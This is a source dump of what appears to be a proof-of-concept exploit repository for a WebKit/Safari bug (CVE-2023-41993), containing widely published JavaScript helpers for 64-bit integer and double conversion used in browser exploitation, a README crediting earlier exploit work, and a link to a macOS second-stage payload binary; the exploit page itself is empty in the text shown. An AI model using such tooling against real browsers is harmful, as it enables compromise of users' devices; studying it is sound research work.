├── .gitignore
├── package.json
├── stage2_macOS.bin
├── README.md
├── util.js
├── int64.js
└── pwn.html
/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "dependencies": {
3 | "http-serve": "^1.0.1"
4 | }
5 | }
6 |
--------------------------------------------------------------------------------
/stage2_macOS.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hrtowii/cve-2023-41993-test/HEAD/stage2_macOS.bin
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # original poc from po6ix
2 | ## post exploitation i copied from nikiasb's and Linus Henze's regexp exploits, 5aelo's Phrack paper/Pwn2Own 2018 exploit chain, LiveOverflow blog/youtube series
3 |
--------------------------------------------------------------------------------
/util.js:
--------------------------------------------------------------------------------
1 | //
2 | // Utility functions.
3 | //
4 | // Copyright (c) 2016 Samuel Groß
5 | //
6 |
7 | function log(msg) {
8 | document.body.innerHTML += msg += "
";
9 | }
10 |
11 | // Return the hexadecimal representation of the given byte.
12 | function hex(b) {
13 | return ('0' + b.toString(16)).substr(-2);
14 | }
15 |
16 | // Return the hexadecimal representation of the given byte array.
17 | function hexlify(bytes) {
18 | var res = [];
19 | for (var i = 0; i < bytes.length; i++)
20 | res.push(hex(bytes[i]));
21 |
22 | return res.join('');
23 | }
24 |
25 | // Return the binary data represented by the given hexdecimal string.
26 | function unhexlify(hexstr) {
27 | if (hexstr.length % 2 == 1)
28 | throw new TypeError("Invalid hex string");
29 |
30 | var bytes = new Uint8Array(hexstr.length / 2);
31 | for (var i = 0; i < hexstr.length; i += 2)
32 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
33 |
34 | return bytes;
35 | }
36 |
37 | function hexdump(data) {
38 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
39 | data = Array.from(data);
40 |
41 | var lines = [];
42 | for (var i = 0; i < data.length; i += 16) {
43 | var chunk = data.slice(i, i+16);
44 | var parts = chunk.map(hex);
45 | if (parts.length > 8)
46 | parts.splice(8, 0, ' ');
47 | lines.push(parts.join(' '));
48 | }
49 |
50 | return lines.join('\n');
51 | }
52 |
53 | // Simplified version of the similarly named python module.
54 | var Struct = (function() {
55 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
56 | var buffer = new ArrayBuffer(8);
57 | var byteView = new Uint8Array(buffer);
58 | var uint32View = new Uint32Array(buffer);
59 | var float64View = new Float64Array(buffer);
60 |
61 | return {
62 | pack: function(type, value) {
63 | var view = type; // See below
64 | view[0] = value;
65 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
66 | },
67 |
68 | unpack: function(type, bytes) {
69 | if (bytes.length !== type.BYTES_PER_ELEMENT)
70 | throw Error("Invalid bytearray");
71 |
72 | var view = type; // See below
73 | byteView.set(bytes);
74 | return view[0];
75 | },
76 |
77 | // Available types.
78 | int8: byteView,
79 | int32: uint32View,
80 | float64: float64View
81 | };
82 | })();
--------------------------------------------------------------------------------
/int64.js:
--------------------------------------------------------------------------------
1 | //
2 | // Tiny module that provides big (64bit) integers.
3 | //
4 | // Copyright (c) 2016 Samuel Groß
5 | //
6 | // Requires utils.js
7 | //
8 |
9 | // Datatype to represent 64-bit integers.
10 | //
11 | // Internally, the integer is stored as a Uint8Array in little endian byte order.
12 | function Int64(v) {
13 | // The underlying byte array.
14 | var bytes = new Uint8Array(8);
15 |
16 | switch (typeof v) {
17 | case 'number':
18 | v = '0x' + Math.floor(v).toString(16);
19 | case 'string':
20 | if (v.startsWith('0x'))
21 | v = v.substr(2);
22 | if (v.length % 2 == 1)
23 | v = '0' + v;
24 |
25 | var bigEndian = unhexlify(v, 8);
26 | bytes.set(Array.from(bigEndian).reverse());
27 | break;
28 | case 'object':
29 | if (v instanceof Int64) {
30 | bytes.set(v.bytes());
31 | } else {
32 | if (v.length != 8)
33 | throw TypeError("Array must have excactly 8 elements.");
34 | bytes.set(v);
35 | }
36 | break;
37 | case 'undefined':
38 | break;
39 | default:
40 | throw TypeError("Int64 constructor requires an argument.");
41 | }
42 |
43 | // Return a double whith the same underlying bit representation.
44 | this.asDouble = function() {
45 | // Check for NaN
46 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) {
47 | log("Int can't be represented by a double");
48 | throw new RangeError("Integer can not be represented by a double");
49 | }
50 | return Struct.unpack(Struct.float64, bytes);
51 | };
52 |
53 | // Return a javascript value with the same underlying bit representation.
54 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
55 | // due to double conversion constraints.
56 | this.asJSValue = function() {
57 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) {
58 | throw new RangeError("Integer can not be represented by a JSValue");
59 | }
60 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
61 | this.assignSub(this, 0x1000000000000);
62 | var res = Struct.unpack(Struct.float64, bytes);
63 | this.assignAdd(this, 0x1000000000000);
64 |
65 | return res;
66 | };
67 |
68 | // Return the underlying bytes of this number as array.
69 | this.bytes = function() {
70 | return Array.from(bytes);
71 | };
72 |
73 | // Return the byte at the given index.
74 | this.byteAt = function(i) {
75 | return bytes[i];
76 | };
77 |
78 | // Return the value of this number as unsigned hex string.
79 | this.toString = function() {
80 | return '0x' + hexlify(Array.from(bytes).reverse());
81 | };
82 |
83 | // Basic arithmetic.
84 | // These functions assign the result of the computation to their 'this' object.
85 |
86 | // Decorator for Int64 instance operations. Takes care
87 | // of converting arguments to Int64 instances if required.
88 | function operation(f, nargs) {
89 | return function() {
90 | if (arguments.length != nargs)
91 | throw Error("Not enough arguments for function " + f.name);
92 | for (var i = 0; i < arguments.length; i++)
93 | if (!(arguments[i] instanceof Int64))
94 | arguments[i] = new Int64(arguments[i]);
95 | return f.apply(this, arguments);
96 | };
97 | }
98 |
99 | // this = -n (two's complement)
100 | this.assignNeg = operation(function neg(n) {
101 | for (var i = 0; i < 8; i++)
102 | bytes[i] = ~n.byteAt(i);
103 |
104 | return this.assignAdd(this, Int64.One);
105 | }, 1);
106 |
107 | // this = a + b
108 | this.assignAdd = operation(function add(a, b) {
109 | var carry = 0;
110 | for (var i = 0; i < 8; i++) {
111 | var cur = a.byteAt(i) + b.byteAt(i) + carry;
112 | carry = cur > 0xff | 0;
113 | bytes[i] = cur;
114 | }
115 | return this;
116 | }, 2);
117 |
118 | // this = a - b
119 | this.assignSub = operation(function sub(a, b) {
120 | var carry = 0;
121 | for (var i = 0; i < 8; i++) {
122 | var cur = a.byteAt(i) - b.byteAt(i) - carry;
123 | carry = cur < 0 | 0;
124 | bytes[i] = cur;
125 | }
126 | return this;
127 | }, 2);
128 |
129 | // this = a ^ b
130 | this.assignXor = operation(function xor(a, b) {
131 | for (var i = 0; i < 8; i++) {
132 | bytes[i] = a.byteAt(i) ^ b.byteAt(i);
133 | }
134 | return this;
135 | }, 2);
136 |
137 | // this = a & b
138 | this.assignAnd = operation(function and(a, b) {
139 | for (var i = 0; i < 8; i++) {
140 | bytes[i] = a.byteAt(i) & b.byteAt(i);
141 | }
142 | return this;
143 | }, 2);
144 |
145 | // this = a << b
146 | this.assignShiftLeft = operation(function shiftLeft(a, b) {
147 | for (var i = 0; i < 8; i++) {
148 | if (i < b) {
149 | bytes[i] = 0;
150 | } else {
151 | bytes[i] = a.byteAt(Sub(i, b).asInt32());
152 | }
153 | }
154 | return this;
155 | }, 2);
156 |
157 | // this = a >> b
158 | this.assignShiftRight = operation(function shiftRight(a, b) {
159 | for (var i = 0; i < 8; i++) {
160 | if (i < (8 - b)) {
161 | bytes[i] = a.byteAt(Add(i, b).asInt32());
162 | } else {
163 | bytes[i] = 0;
164 | }
165 | }
166 | return this;
167 | }, 2);
168 | }
169 |
170 | // Constructs a new Int64 instance with the same bit representation as the provided double.
171 | Int64.fromDouble = function(d) {
172 | var bytes = Struct.pack(Struct.float64, d);
173 | return new Int64(bytes);
174 | };
175 |
176 | // Convenience functions. These allocate a new Int64 to hold the result.
177 |
178 | // Return -n (two's complement)
179 | function Neg(n) {
180 | return (new Int64()).assignNeg(n);
181 | }
182 |
183 | // Return a + b
184 | function Add(a, b) {
185 | return (new Int64()).assignAdd(a, b);
186 | }
187 |
188 | // Return a - b
189 | function Sub(a, b) {
190 | return (new Int64()).assignSub(a, b);
191 | }
192 |
193 | // Return a ^ b
194 | function Xor(a, b) {
195 | return (new Int64()).assignXor(a, b);
196 | }
197 |
198 | // Return a & b
199 | function And(a, b) {
200 | return (new Int64()).assignAnd(a, b);
201 | }
202 |
203 | // Return a << b
204 | function ShiftLeft(a, b) {
205 | return (new Int64()).assignShiftLeft(a, b);
206 | }
207 |
208 | // Return a >> b
209 | function ShiftRight(a, b) {
210 | return (new Int64()).assignShiftRight(a, b);
211 | }
212 |
213 | // Some commonly used numbers.
214 | Int64.Zero = new Int64(0);
215 | Int64.One = new Int64(1);
216 |
217 | // That's all the arithmetic we need for exploiting WebKit.. :)
--------------------------------------------------------------------------------
/pwn.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |